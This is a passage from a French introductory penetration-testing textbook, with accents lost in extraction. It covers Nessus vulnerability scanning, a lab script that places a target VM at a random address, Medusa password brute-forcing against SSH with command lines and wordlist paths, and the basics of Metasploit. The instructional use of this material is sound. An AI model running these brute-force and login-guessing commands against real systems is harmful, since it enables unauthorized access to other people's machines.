devez toujours essayer de vous connecter. Pour cela, excutez les
commandes suivantes :
telnet ip_cible
ssh root@ip_cible
Dans cet exemple, ip_cible correspond ladresse IP de la victime. Il est
fort probable que ces tentatives choueront, mais dans les rares occasions
o elles russiront vous aurez tout gagn.
Scan de vulnrabilits
prsent que nous disposons dune liste dadresses IP, de ports ouverts et
de services sur chaque machine, il est temps de scanner ces cibles la
recherche de vulnrabilits. Une vulnrabilit correspond dans le logiciel
ou la configuration du systme une faiblesse que nous pouvons
exploiter. Elles peuvent prendre diffrentes formes, mais elles sont
souvent lies des correctifs non appliqus. Les fournisseurs publient des
correctifs qui suppriment des vulnrabilits ou des problmes connus.
Avec les logiciels et les systmes auxquels les correctifs nont pas t
appliqus, les tests dintrusion arrivent souvent rapidement leur
conclusion car certaines vulnrabilits permettent lexcution dun code
distance. Cette possibilit est le Saint-Graal du hacking.
Info
Lexcution de code distance permet un assaillant ou un testeur
dintrusion de contrler totalement lordinateur distant comme sil tait
assis devant lui. Cela lui permet notamment de copier, de modifier et de
supprimer des documents ou des fichiers, dinstaller de nouveaux
logiciels, de modifier ou de dsactiver des logiciels de dfense, comme le
pare-feu ou lantivirus, dinstaller des enregistreurs de frappe ou des
portes drobes, et dutiliser le nouvel ordinateur compromis pour
attaquer dautres machines.
Il est important de comprendre cette tape, car ses rsultats alimenteront
directement la phase 3, au cours de laquelle nous tenterons un exploit afin
dobtenir un accs au systme. Pour rechercher les vulnrabilits sur un
systme, nous utilisons un scanner de vulnrabilits. Plusieurs outils sont
disponibles, mais, dans cet ouvrage, nous nous limiterons Nessus.
Nessus est un trs bon outil disponible gratuitement (tant que son
utilisation reste dans un cadre personnel) sur son site web ladresse
http://www.tenable.com/products/nessus. Tenable, le crateur de Nessus,
vous autorise tlcharger une version complte et obtenir une cl
gratuitement. Si vous souhaitez utiliser Nessus dans un cadre
professionnel, vous devez choisir linscription Professional Feed la
place de Home Feed. Il vous en cotera 1 500 dollars par an. Dans le
cadre de cet ouvrage, nous utilisons la version personnelle. Pour obtenir
une cl, rendez-vous sur la page http://nessus.org/register ou cliquez sur
le lien appropri de la page daccueil de Nessus.
Linstallation de Nessus ne pose aucune difficult. Il est compatible avec
les principaux systmes dexploitation, notamment Linux, Windows,
OS X, FreeBSD et dautres. Nessus sexcute selon un modle client-
serveur. Cela permet davoir, si ncessaire, plusieurs clients connects
linstance serveur. Aprs quil a t configur, le serveur sexcute
silencieusement en arrire-plan et nous pouvons interagir avec lui au
travers dun navigateur. Sur Internet, vous trouverez de nombreux
didacticiels qui expliquent comment installer Nessus sur Kali (ou tout
autre systme Linux). En gnral, cela se passe de la manire suivante :
1. Tlchargez le programme dinstallation partir de
www.nessus.org.
2. Inscrivez-vous sur le site de Nessus afin dobtenir un code
Home Feed pour une utilisation non commerciale. Le code
est envoy par courrier lectronique et vous devez lutiliser
pour enregistrer Nessus. Noubliez pas de consulter le CLUF
(contrat de licence utilisateur final), qui dfinit les conditions
dutilisation de la version Home Feed.
3. Installez le programme.
4. Crez un utilisateur Nessus pour accder au systme.
5. Saisissez le code Home Feed (ou Professional Feed).
6. Actualisez les plugins.
7. Utilisez un navigateur pour vous connecter au serveur
Nessus.
Info
Linstallation de Nessus sur BackTrack ou Kali se fait trs facilement.
Vous pouvez utiliser la commande apt-get ou tlcharger le paquetage
.deb partir du site de Nessus. Voici comment installer un logiciel obtenu
sous forme de fichier .deb :
dpkg i nom_du_fichier_.deb__installer
Si vous utilisez Kali ou BackTrack, linstallation laide de la commande
apt-get se passe de la manire suivante depuis un terminal :
apt-get install nessus
Configurez ensuite un utilisateur Nessus en saisissant la commande
suivante :
/opt/nessus/sbin/nessus-adduser
Elle demande de choisir un nom dutilisateur et un mot de passe.
Rpondez chaque question qui concerne lutilisateur Nessus. Lorsque la
cration est termine, vous devez saisir le code denregistrement. Pour
cela, excutez les commandes suivantes dans un terminal :
/opt/nessus/bin/nessus-fetch --register code_activation
Vous devez remplacer code_activation par la cl qui vous a t envoye
par Tenable. Elle correspond une installation unique ; si vous devez
rinstaller Nessus, vous devrez demander un nouveau code. Vous devez
ensuite patienter quelques minutes pendant que les plugins de base sont
tlchargs sur votre machine locale. Une fois cette installation termine,
lancez le serveur Nessus laide de la commande suivante :
/etc/init.d/nessusd start
Si vous redmarrez votre machine dattaque et tentez daccder
Nessus laide dun navigateur, il est possible que vous receviez le
message derreur "Unable to Connect". Dans ce cas, ouvrez une fentre
de terminal et excutez de nouveau la commande /etc/init.d/nessusd start.
Les plugins sont au cur de Nessus. Un plugin correspond un petit
morceau de code envoy la machine cible afin de vrifier lexistence
dune vulnrabilit connue. Nessus comprend des centaines de plugins.
Ils sont tlchargs au premier lancement du programme et, par dfaut,
sont automatiquement mis jour.
Aprs que le serveur a t install, nous y accdons en ouvrant un
navigateur sur lURL https://127.0.0.1:8834 (en supposant que laccs
Nessus se fait depuis lordinateur sur lequel le serveur a t install).
Noubliez pas https dans lURL car Nessus se sert dune connexion
scurise lors des communications avec le serveur. Si vous recevez un
message signalant que le certificat du site nest pas approuv, vous
pouvez lignorer en ajoutant une exception et en poursuivant. Nessus va
prendre quelques minutes pour initialiser et traiter les plugins qui ont t
tlchargs. Au terme de la phase dinitialisation, nous arrivons sur un
cran douverture de session. Il suffit de saisir le nom dutilisateur et le
mot de passe dfinis prcdemment afin darriver lcran principal de
Nessus.
La navigation dans Nessus se fait en utilisant le menu plac en partie
suprieure de la page. Chaque bouton reprsente un composant diffrent
de loutil : Results, Scans, Templates, Policies, Users et Configuration.
Avant dutiliser Nessus, il faut crer une politique personnalise ou
slectionner lune de celles prdfinies. Pour crer votre propre
politique, activez longlet Policies. Pour configurer une politique de scan,
vous devez fournir un nom. Si vous souhaitez dfinir plusieurs politiques,
saisissez galement une description. Prenez le temps dexaminer la
Figure 3.7, qui montre comment activer les vrifications prudentes (safe
checks). Dans linterface HTML5 slectionne par dfaut, cette
configuration se fait dans Configuration > Advanced.
Figure 3.7
Activer loption pour des scans "prudents".
Dans la plupart des cas, les vrifications prudentes doivent tre actives
(ce qui est le cas par dfaut). La raison en est simple. Certains plugins et
contrles sont considrs comme dangereux car ils vrifient lexistence
dune vulnrabilit en tentant un exploit rel sur le systme. Sachez quen
dsactivant loption Safe Checks vous risquez de provoquer un
dysfonctionnement du rseau et du systme, voire darrter ce dernier.
Passons prsent aux politiques de scan, qui permettent de personnaliser
les types de politiques utilisables depuis linterface de Nessus. Les options
de personnalisation sont nombreuses. Dans le cadre de cet ouvrage, nous
adopterons les valeurs par dfaut. Prenez le temps de cliquer sur les
modles, de slectionner lun de ceux proposs par dfaut ou de crer le
vtre. Examinez les diffrentes options en cliquant sur chacune delles.
Les onglets General Settings, Credentials, Plugins et Preferences
permettent daccder aux autres pages doptions de la politique.
Une fois que la politique de scan a t configure, vous pouvez
lenregistrer en cliquant sur le bouton Update. La configuration de la
politique est effectue une seule fois. Vous pourrez ensuite lutiliser pour
lancer un scan de vulnrabilits sur la cible.
Pour configurer un scan, cliquez sur le bouton Scans situ dans le menu
suprieur, puis sur New Scan. Dans la fentre qui saffiche, configurez
et personnalisez votre scan. Vous pouvez saisir une adresse individuelle
pour scanner une seule cible ou une liste dadresses IP pour scanner
plusieurs htes. La Figure 3.8 illustre la page de cration dun nouveau
scan.
Figure 3.8
Configurer un scan dans Nessus.
Avant de lancer le scan, vous devez donner un nom, choisir une politique
et saisir les adresses IP de la cible. Il est prfrable de donner un nom
descriptif au scan. Vous pourrez ainsi retrouver et trier rapidement les
rsultats du scan. Les adresses IP peuvent tre saisies de faon
individuelle dans le champ Scan Targets ou, si elles ont t enregistres
dans un fichier texte, vous pouvez utiliser le bouton Browse pour charger
celui-ci. Les dernires versions de Nessus offrent la possibilit
dexcuter le scan immdiatement ou de crer un template et de planifier
le dmarrage du scan une date ultrieure. Lorsque les options sont
dfinies, cliquez sur le bouton Create Scan plac dans langle infrieur
gauche. Nessus vous informe de la progression de lexcution du scan.
Au terme du scan, lexamen des rsultats se fait en cliquant sur le lien
Results de la barre de menu. Le rapport comprend une liste dtaille de
toutes les vulnrabilits dcouvertes par Nessus. Nous serons plus
particulirement intresss par celles libelles "high" ou "critical". Prenez
le temps dtudier en dtail le rapport et de rdiger des notes prcises sur
le systme. Vous utiliserez ces rsultats lors de la phase suivante pour
obtenir un accs au systme.
Aprs avoir termin les scans de ports et les scans de vulnrabilits pour
chaque cible, nous disposons dinformations suffisantes pour lancer des
attaques sur les systmes.
Mettre en pratique cette phase
Pour exprimenter le scan de ports, la solution la plus simple consiste
configurer deux ordinateurs ou utiliser des machines virtuelles. Vous
devez essayer les options et les types de scan dcrits dans ce chapitre.
Examinez attentivement la sortie de chaque scan. Vous devez les
appliquer des systmes Linux et Windows.
Nhsitez pas ajouter des services ou des programmes au systme cible
afin dtre certain davoir des ports ouverts. Les services FTP, Web,
Telnet et SSH font de bons candidats.
Pour votre initiation au scan de ports, lune des meilleures faons de
pratiquer consiste crer un sous-rseau et masquer une adresse IP.
Lobjectif est ensuite de localiser la cible. Ds quil est atteint, ltape
suivante sera deffectuer un scan de ports intgral sur ce systme.
Pour aider mettre en place ce scnario, nous vous proposons un script
simple qui permet de "cacher" un systme dans un sous-rseau donn. Le
code ci-aprs est conu pour sexcuter uniquement sur un systme
Linux. Modifiez les trois premiers octets de ladresse IP afin quelle
corresponde votre rseau. Vous pouvez galement changer le numro
donn linterface eth. Le script gnre un nombre alatoire entre 1 et
254 qui sert doctet final de ladresse IP. Une fois ladresse IP alatoire
cre, le script lapplique la machine cible.
En excutant ce script, vous allez vous familiariser avec les outils et les
techniques prsents dans ce chapitre. Vous pouvez saisir le code
laide dun diteur de texte et lenregistrer sous le nom IP_Gen.sh.
#!/bin/bash
echo Configuration de la machine cible, veuillez patienter...
ifconfig eth0 down
ifconfig eth0 192.168.56.$((( $RANDOM %254) + 1)) up
# Retirez les commentaires (#) des lignes suivantes pour dmarrer
# les services sur la victime. Vous devrez changer lemplacement
et
# le chemin en fonction de votre distribution Linux.
#/etc/init.d/ssh start
# Vous aurez peut-tre gnrer votre cl SSH avec sshd-
generate.
#/etc/init.d/apache2 start
#/etc/init.d/atftpd start
echo La machine cible est prsent configure.
echo Ladresse IP se trouve dans le rseau 192.168.56.0/24.
echo Vous pouvez fermer cette fentre et lancer votre attaque..."
echo "Bonne chance !
Depuis un terminal, allez dans le rpertoire o vous avez cr le fichier.
Vous devez le rendre excutable avant de pouvoir lexcuter :
chmod 755 IP_Gen.sh
Vous pouvez alors excuter la commande suivante :
./IP_Gen.sh
Le script doit sexcuter et afficher un message indiquant que la victime
a t configure. Il vous permettra de mettre en pratique la localisation et
le scan dune machine cible.
Et ensuite
Lorsque vous matriserez les bases de Nmap et de Nessus, vous pourrez
examiner les options avances de ces deux outils. Ce chapitre na fait
quaborder leurs possibilits. Le site Insecure.org sera une ressource de
choix pour apprendre utiliser Nmap. Consacrez du temps ltude et
lutilisation de toutes ses diffrentes options. De mme, Nessus propose
un grand nombre de fonctionnalits supplmentaires. Prenez le temps
dtudier les diverses options de scan et de politique. Vous aurez tout
intrt vous plonger dans la mise en uvre de NSE. Examinez les
catgories et les scripts existants. Si vous disposez de machines virtuelles
cibles Metasploitable et Windows, excutez les diffrents scripts sur ces
deux systmes et familiarisez-vous avec les rsultats. Votre objectif
ultime doit tre dcrire vos propres scripts NSE et dtendre les
possibilits de ce framework.
OpenVAS (Open Vulnerability Assessment System) est un autre outil trs
intressant. De type open-source, il est trs bien document, activement
dvelopp et gratuit. Il est comparable Nessus et permet deffectuer
des scans de vulnrabilits.
Ds que vous tes laise avec les fonctionnalits labores de ces outils,
vous pouvez examiner les autres scanners disponibles. Slectionnez-en
quelques-uns, installez-les et dcouvrez leurs caractristiques. Nous
proposons dexplorer notamment les outils commerciaux NeXpose,
Metasploit Pro, Core Impact et CANVAS ; ces produits ne sont pas
exclusivement des scanners de vulnrabilits. Ils proposent tous
dexcellents composants dvaluation des vulnrabilits, mais ils ne sont
pas gratuits.
En rsum
Dans ce chapitre, nous nous sommes focaliss sur les scans. Nous avons
commenc par une courte vue densemble de ping et des balayages ping,
avant de nous intresser en dtail aux scans. Nous avons dcompos ce
thme en deux parties : le scan de ports et le scan de vulnrabilits. Le
scanner de ports Nmap a t prsent et diffrents types de scan ont t
expliqus. Des exemples de scans rels, avec leurs rsultats, ont servi
dillustration et ont permis de montrer comment interprter la sortie de
Nmap. Le concept de scan de vulnrabilits a t prsent au travers de
lutilisation de Nessus. Des exemples pratiques ont t donns et tudis
tout au long du chapitre.
4
Exploitation
Introduction
En termes extrmement simples, lexploitation consiste obtenir un
contrle sur un systme. Toutefois, il est important de comprendre que
tous les exploits ne conduisent pas la compromission intgrale dun
systme. Par exemple, lattaque de type oracles de padding peut dvoiler
des informations et nous permet de tlcharger des fichiers, mais elle ne
compromet pas totalement le systme. De faon plus prcise, un exploit
est un moyen de profiter dun dfaut de scurit ou de contourner des
contrles de scurit. Lopration peut prendre diffrentes formes mais,
dans le cadre de cet ouvrage, lobjectif sera toujours le mme : disposer
dun accs de niveau administrateur lordinateur. Par de nombreux
aspects, lexploitation vise transformer la machine cible en une
marionnette qui se pliera nos commandes et nos ordres. Pour que cela
soit bien clair, lexploitation correspond au lancement dun exploit. Un
exploit correspond la ralisation, la matrialisation ou lutilisation en
tant quarme dune vulnrabilit. Les exploits sont des dfaillances ou des
bogues dans un logiciel qui donnent au hacker ou lassaillant la
possibilit de lancer une charge sur le systme cible. Une charge est une
manire de transformer la machine cible en une marionnette et
lobliger excuter nos volonts. Les charges peuvent modifier la
fonctionnalit initiale du logiciel et nous permettent de raliser diffrentes
oprations comme installer un nouveau logiciel, dsactiver des services
en excution, ajouter de nouveaux utilisateurs, installer des portes
drobes, etc.
De toutes les phases que nous prsentons, lexploitation est probablement
celle qui intresse le plus les aspirants hackers. Cet intrt vient
probablement du fait quelle implique des activits gnralement
associes au hacking et aux tests dintrusion. De nombreux ouvrages sont
consacrs la mise en uvre de lexploitation. Malheureusement, les
fausses informations concernant la phase 3 sont galement lgion. Les
histoires imagines par Hollywood et les lgendes urbaines propos des
exploits de hackers ont pollu lesprit de nombreux dbutants. Toutefois,
lexploitation nen reste pas moins une activit excitante et stimulante.
Elle est ma prfre, mme si elle est moins sensationnelle quau cinma.
Lorsquelle russit, elle est simplement couper le souffle.
De toutes les phases tudies, lexploitation est probablement la plus
vaste. La grande diversit dactivits, doutils et doptions pour mener
bien cette tche conduit souvent la confusion et au chaos. Au dbut de
lapprentissage des tests dintrusion et du hacking, le manque dordre et
de structures risque de dclencher frustration et checs. Il nest pas rare
quun novice entende parler dun nouvel outil ou assiste la prsentation
dune technique labore pour accder un systme et quil se lance
directement dans la phase 3 (exploitation). Pourtant, il est essentiel de ne
pas oublier que les tests dintrusion ne se limitent pas lexploitation. En
suivant la procdure propose dans cet ouvrage, ou nimporte quelle
autre mthodologie de test dintrusion solide, vous pouvez viter nombre
de ces problmes.
Puisque cet ouvrage se focalise sur les bases, nous ne rpterons jamais
assez limportance des phases 1 et 2 avant de passer lexploitation.
Vous pourriez tre tent de passer outre la reconnaissance et les scans,
pour sauter directement au Chapitre 4. Si cela reste possible pour le
moment, il vous faudra un jour aller plus loin quune simple utilisation des
scripts fournis et matriser les autres phases. Dans le cas contraire, votre
capacit devenir un testeur dintrusion expriment sen trouvera
extrmement rduite. La reconnaissance et les scans vous aideront
mettre de lordre et donner une direction lexploitation.
Voil pour le sermon. Mettons prsent les mains dans le cambouis en
passant lexploitation. Nous lavons mentionn prcdemment, il sagit
de lune des phases les plus ambitieuses que nous allons tudier. La raison
en est simple : chaque systme est diffrent et chaque cible est unique.
Les facteurs sont nombreux et les vecteurs dattaque varient donc dune
cible lautre. Des systmes dexploitation diffrents, des services
diffrents et des processus diffrents imposent des formes dattaques
diffrentes. Les assaillants qualifis doivent comprendre les nuances de
chaque systme quils tentent dexploiter. Avec lvolution de votre
pratique, vous devrez tendre vos connaissances des systmes et de leurs
faiblesses. Un jour, vous serez en mesure de personnaliser lexploitation,
ce qui revient dcouvrir et crire vos propres exploits.
Vous pouvez vous servir des rsultats de la phase prcdente comme
point de dpart vos tentatives dexploitation. La sortie des scans doit
tre utilise pour faonner, focaliser et diriger vos attaques.
Medusa
Au cours de lanalyse des rsultats obtenus par la phase 2, faites
particulirement attention aux adresses IP qui hbergent des services
daccs distance. SSH, Telnet, FTP, PC Anywhere, VNC et RDP sont
des candidats de choix car obtenir un accs ces services conduit
souvent une compromission totale de la cible. Aprs quils ont
dcouvert lun de ces services, les hackers se tournent gnralement vers
un "craqueur de mots de passe en ligne". Dans le cadre de cet ouvrage,
un tel outil correspond une attaque fonde sur une interaction avec un
"service actif" comme SSH ou Telnet. Il tente de pntrer sur un systme
de faon brutale en essayant une liste exhaustive de combinaisons de
mots de passe et/ou de noms dutilisateurs. loppos, une technique de
craquage des mots de passe hors ligne nexige pas un service en cours
dexcution. Les mots de passe chiffrs sont attaqus de faon autonome.
Nous y reviendrons plus loin.
Lorsquun craqueur de mots de passe en ligne est employ, les chances
de succs augmentent normment si lattaque est combine aux
informations collectes lors de la phase 1. Plus prcisment, il faut tenir
compte des noms dutilisateurs ou des mots de passe dcouverts. La
technique mise en uvre par le craqueur consiste envoyer un nom
dutilisateur et un mot de passe la cible. Si lun ou lautre est invalide, le
logiciel dattaque reoit un message derreur et louverture de session
choue. Le craqueur envoie alors la combinaison nom dutilisateur et mot
de passe suivante. Ce mode opratoire se poursuit jusqu ce que le
programme russisse trouver une combinaison valide ou quil nen ait
plus aucune essayer. Globalement, bien que les ordinateurs soient
adapts aux tches rptitives comme celle-ci, le processus est
relativement lent.
Vous devez savoir que certains systmes daccs distance mettent en
place une technique de rgulation qui limite le nombre dchecs
douverture de session autoris. Dans ce cas, votre adresse IP ou le nom
dutilisateur peut tre bloqu.
Plusieurs outils peuvent servir au craquage de mots de passe en ligne.
Medusa et Hydra sont les plus rpandus, tous deux tant de nature trs
similaire. Dans cet ouvrage, nous nous intressons Medusa, mais nous
vous encourageons fortement vous familiariser avec Hydra.
Medusa est dcrit comme un systme parallle douverture de session par
force brute qui tente daccder des services dauthentification
distance. Il est capable dessayer une authentification auprs dun grand
nombre de services distants, notamment AFP, FTP, HTTP, IMAP, MS-
SQL, MySQL, NetWare NCP, NNTP, PC Anywhere, POP3, REXEC,
RLOGIN, SMTP-AUTH, SNMP, SSHv2, Telnet, VNC et Web Forms.
Pour utiliser cet outil, nous avons besoin de plusieurs lments
dinformation, dont ladresse IP cible, une liste de noms dutilisateurs
avec lesquels tenter les connexions, un fichier de mots de passe ou un
dictionnaire utiliser pour les ouvertures de session, et le nom du service.
Lun des lments requis est un dictionnaire. Il sagit dun fichier qui
comprend une liste de mots de passe potentiels. Ces listes sont souvent
appeles dictionnaires car elles comprennent des milliers, voire des
millions, de mots individuels. Pour crer des mots de passe, les utilisateurs
choisissent souvent des mots de leur langue, parfois avec de petites
variantes, comme un "1" la place dun "i" ou un "5" la place dun "s".
Les listes de mots de passe regroupent autant de ces mots que possible.
Certains hackers et testeurs dintrusion passent des annes constituer
des dictionnaires de mots de passe. Ils peuvent contenir des millions ou
des milliards dentres, et leur taille atteint plusieurs gigaoctets. Un bon
dictionnaire peut se rvler extrmement utile, mais sa gestion exige
souvent beaucoup de temps et dattention. Un dictionnaire de qualit doit
tre simple et dpourvu de doublons.
Sur Internet, vous trouverez une multitude de listes de mots qui pourront
servir de point de dpart la construction dun dictionnaire personnel. Il
existe galement des outils pour gnrer ces dictionnaires. Par chance,
les crateurs de Kali fournissent quelques listes de mots que nous pouvons
employer. Elles se trouvent dans le rpertoire /usr/share/wordlists,
notamment la liste de mots de passe populaire "RockYou". Loutil John
the Ripper propose galement une courte liste disponible dans le
rpertoire /usr/share/john/password.lst.
Attention
Les listes de mots de passe les plus longues ne sont pas toujours les
meilleures. Les outils de craquage hors ligne comme John the Ripper sont
capables de traiter des millions de mots de passe par seconde. Dans ce
cas, les longues listes conviennent. En revanche, avec dautres
techniques de craquage des mots de passe, comme celles mises en place
par Medusa et Hydra, seuls un ou deux mots de passe pourront tre tests
par seconde. Disposer dune seule liste de millions de mots de passe ne
servira alors rien car vous naurez pas le temps de les essayer. Dans de
tels cas, il est prfrable de constituer un petit dictionnaire, avec les mots
de passe les plus rpandus.
Le dictionnaire de mots de passe tant prt, nous devons dcider si nous
allons essayer douvrir une session sous un seul nom dutilisateur ou si
nous allons fournir une liste dutilisateurs potentiels. Si le travail de
reconnaissance a permis de crer une liste de noms dutilisateurs, elle
pourra servir de point de dpart. Dans le cas contraire, nous pouvons
nous fonder sur les rsultats de la collecte des adresses lectroniques
avec The Harvester. Noubliez pas que la premire partie dune adresse
de courrier lectronique peut souvent servir gnrer un nom
dutilisateur valide.
Par exemple, supposons que nous nayons pas t en mesure de trouver
des noms dutilisateurs de domaine. En revanche, The Harvester a pu
rcuprer ladresse lectronique alain.terieur@example.com. Medusa
propose de crer une liste de noms dutilisateurs potentiels en partant
dune adresse de messagerie. Dans ce cas, elle contiendrait alain.terieur,
alainterieur, aterieur, terieura, ainsi que dautres combinaisons drives
de cette adresse. Cette liste de cinq dix noms dutilisateurs peut tre
passe Medusa, qui tentera par une approche exhaustive douvrir une
session sur le service dauthentification distant.
Puisque nous disposons prsent dune adresse IP cible sur laquelle un
service dauthentification distant est actif (pour notre exemple, nous
supposerons quil sagit de SSH), dun dictionnaire de mots de passe et au
moins dun nom dutilisateur, nous sommes prts utiliser Medusa. Voici
la commande excuter :
medusa h ip_cible u nom_utilisateur P liste_mots_de_passe M
service__attaquer
Cette commande devra videmment tre adapte votre site. Le premier
terme, medusa, correspond au nom du programme. Loption -h sert
prciser ladresse IP de lhte cible. Loption -u permet de fournir un
seul nom dutilisateur que Medusa utilisera pour les tentatives douverture
de session. Si nous avons gnr une liste de noms dutilisateurs, nous
pouvons passer le chemin de ce fichier loption -U. De manire
comparable, loption -p permet dindiquer un seul mot de passe, tandis
que loption -P attend le chemin dun fichier qui contient de multiples
mots de passe. Enfin, loption -M donne le nom du service attaquer.
Pour illustrer cette attaque, poursuivons lexemple mis en place
prcdemment. Supposons que nous ayons t embauchs pour mener un
test dintrusion sur la socit Example.com. Au cours de notre collecte
dinformations avec MetaGooFil, nous avons identifi le nom dutilisateur
"aterieur" et ladresse IP 192.168.56.102. Aprs le scan des ports de la
cible, nous avons dcouvert que le service SSH sexcute sur le port 22.
Au dbut de la phase 3, nous allons tenter dentrer par force brute sur le
serveur. Nous ouvrons un terminal sur notre machine dattaque et
excutons la commande suivante :
medusa h 192.168.56.102 u aterieur P
/usr/share/john/password.lstM ssh
La Figure 4.1 montre cette commande et les rsultats obtenus.
Figure 4.1
Utiliser Medusa pour entrer par force brute dans SSH.
Attention
Si lexcution de Medusa, ou de tout outil dcrit dans cet ouvrage, sur
votre version de Kali pose des difficults, essayez de rinstaller le
programme comme nous lavons expliqu au Chapitre 1. Les commandes
suivantes permettent de rinstaller Medusa :
apt-get remove medusa
apt-get update
apt-get install medusa
La premire ligne montre la commande saisie. La deuxime est une
bannire dinformations affiche au lancement du programme. Les lignes
suivantes prsentent des tentatives automatises douverture de session
avec le nom dutilisateur "aterieur" et diffrents mots de passe, en
commenant par "123456". Vous remarquerez qu la onzime tentative
Medusa a russi accder au systme avec le nom dutilisateur
"aterieur" et le mot de passe "L3sB@ses". Nous sommes alors capables de
nous connecter distance avec ce nom dutilisateur en ouvrant un
terminal et en lanant SSH sur la cible. Pour faciliter cet exemple, jai
quelque peu modifi le fichier par dfaut /usr/share/john/password.lst : les
commentaires (les lignes qui commencent par le symbole #) du dbut ont
t supprims et jai ajout le mot de passe"L3sB@ses" la liste.
En fonction du niveau dengagement et des objectifs identifis dans votre
contrat, votre test dintrusion peut, ce stade, tre achev. Flicitations !
Vous venez de mener bien votre premier test dintrusion et de russir
obtenir un accs un systme distant.
Bien que tous les cas ne soient pas toujours aussi simples, vous seriez
surpris du nombre de fois o une tactique simple de cette sorte russit et
permet de disposer dun accs et dun contrle total sur le systme
distant.
Metasploit
Parmi tous les outils dcrits dans cet ouvrage, Metasploit reste mon
prfr. Par de nombreux aspects, il reprsente la quintessence des outils
du hacker. Il est puissant, souple, gratuit et terrifiant. Il est sans aucun
doute loutil offensif le plus cool de tous ceux prsents dans ce livre et,
dans certains cas, il permet mme de hacker la manire de Hugh
Jackman dans Opration Espadon ! Si vous avez loccasion de rencontrer
HD Moore ou tout membre de Metasploit, payez-leur une bire, serrez-
leur les mains et remerciez-les, car Metasploit est vritablement
incroyable.
En 2004, lors de la confrence Defcon 12, HD Moore et spoonm ont
branl la communaut lorsquils ont ouvert la session intitule
"Metasploit: Hacking Like in the Movies". Leur prsentation sest
focalise sur les "frameworks dexploitation". Un framework
dexploitation est une structure formelle qui permet de dvelopper et de
lancer des exploits. Ils aident au dveloppement en apportant une
organisation et des directives sur lassemblage des diffrentes pices et
sur leurs interactions.
Metasploit a dbut comme un jeu en rseau, mais son plein potentiel
sest rvl lorsquil a t converti en outil dexploitation complet.
Metasploit est constitu dun ensemble doutils qui fournissent des
dizaines de fonctions diffrentes, mais il est probablement plus connu
pour son framework dexploitation puissant et souple.
Avant larrive de Metasploit, les chercheurs en scurit navaient
essentiellement que deux possibilits. Premirement, ils pouvaient crire
du code personnalis en assemblant diffrents exploits et charges.
Deuximement, ils pouvaient investir dans lun des deux frameworks
dexploitation commerciaux disponibles, CORE Impact ou CANVAS
dImunitySec. Ces deux frameworks taient des choix pertinents, qui
faisaient trs bien leur travail, mais les cots de licence de ces produits
les interdisaient de nombreux chercheurs.
Metasploit tait diffrent car ctait la premire fois que les hackers et
les testeurs dintrusion pouvaient disposer dun vritable framework
dexploitation open-source. Autrement dit, pour la premire fois, tout le
monde pouvait accder, collaborer, dvelopper et partager des exploits
gratuitement. Cela signifiait galement que des exploits pouvaient tre
dvelopps de manire quasi industrielle. Les hackers et les testeurs
dintrusion pouvaient ainsi construire des exploits en fonction de leurs
propres besoins.
Metasploit permet de slectionner la cible et de choisir parmi diverses
charges (payload). Les charges sont interchangeables et ne sont pas lies
un exploit particulier. Une charge correspond la fonctionnalit
supplmentaire ou au changement de comportement que vous souhaitez
obtenir sur la machine cible. Il sagit de la rponse la question : "Que
vais-je faire prsent que je contrle la machine ?" Les charges de
Metasploit les plus utilises sont lajout de nouveaux utilisateurs,
louverture de portes drobes et linstallation de nouveaux logiciels sur
la machine cible. Nous prsenterons plus loin la liste complte des
charges de Metasploit.
Avant dentrer dans les dtails de lutilisation de Metasploit, il est
important de faire la diffrence entre cet outil et un scanner de
vulnrabilits. Dans la plupart des cas, le scanner de vulnrabilits se
contente de vrifier si le systme est vulnrable. Lopration se passe de
manire trs passive, avec peu de risques de dommages non intentionnels
ou de dysfonctionnements de la cible. Metasploit et les autres frameworks
quivalents sont des outils dexploitation. Ils neffectuent aucun test. Ils
servent aller au bout de lexploitation de la cible. Les scanners de
vulnrabilits recherchent et signalent les faiblesses potentielles.
Metasploit tente rellement dexploiter les systmes scanns. Assurez-
vous de bien comprendre la diffrence.
En 2009, Rapid 7 a rachet Metasploit. HD Moore a pass beaucoup de
temps rassurer la communaut et sassurer que Metasploit resterait
gratuit. Bien que plusieurs produits commerciaux aient depuis t
proposs, notamment Metasploit Express et Metasploit Pro, HD Moore
na pas menti et le projet Metasploit dorigine est toujours gratuit. En
ralit, le rachat de Metasploit par Rapid 7 a donn un vritable coup de
fouet au projet. La version open-source a clairement bnfici des outils
commerciaux, avec des dveloppeurs et du personnel plein temps
supplmentaires. Les nouveaux exploits et les nouvelles fonctionnalits
sont ajouts un rythme ahurissant. Dans cet ouvrage, nous allons nous
focaliser sur les bases, mais il vous faudra rester jour avec les derniers
dveloppements.
Metasploit est disponible en tlchargement gratuit ladresse
http://www.metasploit.com ; il est dj install sur Kali. Il existe plusieurs
manires dinteragir avec Metasploit, mais, dans cet ouvrage, nous allons
utiliser le systme de menus en mode texte (non graphique) fourni par
Msfconsole. Lorsque les bases sont acquises, Msfconsole se rvle
rapide, convivial, intuitif et simple demploi.
Pour accder Msfconsole, il suffit douvrir une fentre de terminal et
dexcuter la commande suivante :
msfconsole
Vous pouvez galement y accder en passant par le menu Applications
du bureau. Il faut Msfconsole de 10 30 secondes pour dmarrer. Ne
vous inquitez pas si vous ne voyez rien apparatre pendant un certain
temps. Lorsquil a fini par dmarrer, Metasploit affiche un message
daccueil et linvite de commande msf>. Puisque diffrentes bannires
dfilent de manire alatoire, il est normal que votre cran initial ne soit
pas exactement celui de la Figure 4.2. Le point essentiel est dobtenir
linvite msf>.
Figure 4.2
Lcran initial de Metasploit.
son premier dmarrage, Metasploit affiche le nombre dexploits, de
charges, dencodeurs et de nops disponibles. Il peut galement indiquer le
nombre de jours couls depuis la dernire mise jour. En raison de sa
communaut active et de son financement officiel, Metasploit volue
rapidement, et vous devez rester en phase avec son dveloppement. Pour
cela, il suffit dexcuter la commande suivante depuis un terminal :
msfupdate
Prenez lhabitude de la lancer souvent. Voyons prsent ce que cet outil
a dimpressionnant. Lutilisation de Metasploit consiste identifier une
cible, slectionner un exploit, choisir une charge, puis lancer
lexploit lui-mme. Nous reviendrons en dtail sur chacune de ces tapes,
mais, avant cela, examinons la terminologie de Metasploit. Nous lavons
mentionn prcdemment, un exploit est un morceau de code prconstruit
qui est envoy un systme distant. Ce code dclenche un comportement
atypique qui permet dexcuter une charge. Une charge est galement un
petit morceau de code. Elle est utilise pour effectuer une tche, comme
installer un nouveau logiciel, crer de nouveaux utilisateurs ou ouvrir des
portes drobes.
Les vulnrabilits sont des dfauts qui permettent lassaillant dexploiter
les systmes et dexcuter du code distance (charges) sur la cible. La
charge correspond au logiciel ou la fonctionnalit supplmentaire que
